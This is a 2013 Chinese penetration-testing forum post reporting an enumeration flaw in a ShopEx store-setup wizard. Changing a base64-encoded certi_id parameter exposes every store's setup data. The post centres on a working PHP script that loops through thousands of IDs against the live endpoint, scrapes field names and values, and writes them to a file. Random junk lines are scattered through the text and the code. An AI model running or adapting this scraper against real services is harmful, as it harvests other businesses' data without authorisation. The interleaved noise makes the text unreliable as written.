中国网络渗透测试联盟
标题:
ShopEx某接口缺陷可遍历所有用户网站
[打印本页]
作者:
admin
时间:
2013-9-21 15:59
标题:
ShopEx某接口缺陷可遍历所有用户网站
简要描述:
/ o) k: C2 ~: Z" j
ShopEx某接口缺陷,可遍历所有网站
1 D" H Q' T0 Y" i) p6 l
详细说明:
, I9 R- ~5 r0 ?$ a
问题出现在shopex 网店使用向导页面
2 j$ i9 j: l; A# _3 ?# d$ }4 ?0 {
: x- r! d7 v) @2 P( \. ^
# G; i0 m+ a( L: p; U8 d" N
$ f7 G- ~ D& F& M" j# d: g( p
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
. [# |. z; ?+ C9 T
' z* o4 [0 d \
9 V3 \5 G) q, T
7 F2 k+ h$ J \ v! y# W% _2 B# M/ K2 p
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
" p* s1 k7 G+ s
* _$ x/ k9 ^/ f4 O6 N! _6 I
1 H. m5 N0 i7 K1 R; `
; t. Y2 C: z$ _4 q) N
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
$ B! p$ L3 ~* B; E/ J- P# h
4 C7 \( O/ _. }1 i9 [
I6 S& ^0 b+ d* `5 g$ C: \
/ R: Y! Y, i7 d# u( z4 L! `
<?php
% D, ^) {6 R) `3 T; b6 C9 K
3 I$ O) `5 u( F9 ^# ?6 [+ ~
for ($i=1; $i < 10000; $i++) { //遍历
1 c/ g+ ~6 l! s% p! ^+ g# v
L0 n8 s/ Y3 q
ShowshopExD($i);
3 Y* R! E' B' w( u
/ q; t4 Z9 U* o8 J
}
- m0 c' s8 Q/ q" a7 J
: l+ Z2 ]6 A3 M5 k4 _$ F
function ShowshopExD($cid) {
7 a# D; ^* x" |& `* J# h
" O& C: i# q( q
$url='http://guide.ecos.shopex.cn/step2.php';
- u; o7 O# M$ h7 ^5 w* H
* ]) D* \/ d4 @, n! @2 o
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
# {* ?2 P8 \: W$ k: v) N
. D$ S5 p. |7 i
$url = $url.'?refer='.$refer;
' a m# c& p; `- e: n
" I0 w3 r+ s3 Z, [4 J* b
$ch = curl_init($url);
$ h/ B# R3 ^7 \1 O+ G/ g, X
/ p6 V1 y/ n( Y* }
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
8 h0 w* k" Q$ M# Z' z1 x1 r
$ D# `. m x$ ^) \4 c# z- }
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
) a8 j) x: X% C7 W/ C
" t; F5 L2 b7 c) a
$result = curl_exec($ch);
! Z' Y& Q: e, r% Q2 e5 _& O$ g
' D1 J' x2 c, U
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
3 [8 z3 H" c/ v8 Z) l6 w! n( ^
# A$ o2 V& r5 G0 E# C; g
if(strpos($result,$refer))
" x: B% \, ?$ H, F9 D8 {3 D: k, `
" @7 r% Z) L7 @8 H, `6 H
{
c& B+ I. B0 Y1 q: T& O
! {. C$ F* e# \6 @+ ]
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件
; Y1 T6 m+ c5 F7 Q
8 n' L, `, H9 T/ B# h8 V! h
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
5 [6 G/ F/ o8 n. l% B [
! P' U' ?4 h! V% l; D# @0 N
foreach ($value[1] as $key) {
! I; S6 v1 Y5 l6 h+ O
; [8 d: [" o: H0 H
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
5 ~' ? z3 b- Z0 U3 ]
9 `! ?" n2 x( V* j+ U
echo $res[1][0].':'.$res[3][0]."\r\n";
( W* X1 x [* l$ P3 F
o7 C! G* K r g
$col =$res[1][0].':'.$res[3][0]."\r\n";
) C% w8 @: p8 V5 t& {
3 e+ n8 B/ q, U x6 \' h: |3 ?8 l
fwrite($fp, $col, strlen($col));
" U5 { t0 p" A- }& N: r
+ w0 y/ H+ S, \7 |9 \
}
; q; a( O2 }: h K
: y1 [8 d! r& P! ^3 m
echo '--------------------------------'."\r\n";
7 |' g8 J2 T7 ?
2 x: L1 n0 Z9 q! C
fclose($fp);
6 A6 P' A) C/ a; ]. U( l
* X5 U6 W/ g5 ^
}
: S. E( l( j/ N! e. r
2 s: W, m# W8 N( l4 c8 k
flush();
2 n/ K- D8 O( ]! T* x! S
. C- d# Q% Z2 A8 s! O
curl_close($ch);
0 q% A& R9 V1 z. J" o- z
7 x) V, n# }5 \" g# n7 ^7 _* t! {% E
}
* D. {+ \& C' n7 `
# X: ]7 {/ p p8 B% F' @
?>
8 i( @. u% i" F& ~: ^+ h
漏洞证明:
; K+ }) e/ ]- u5 _5 F
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
! D- D: u: }# F
refer换成其他加密方式
7 ^) e: }' V6 X8 j; p# c. ~% W
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2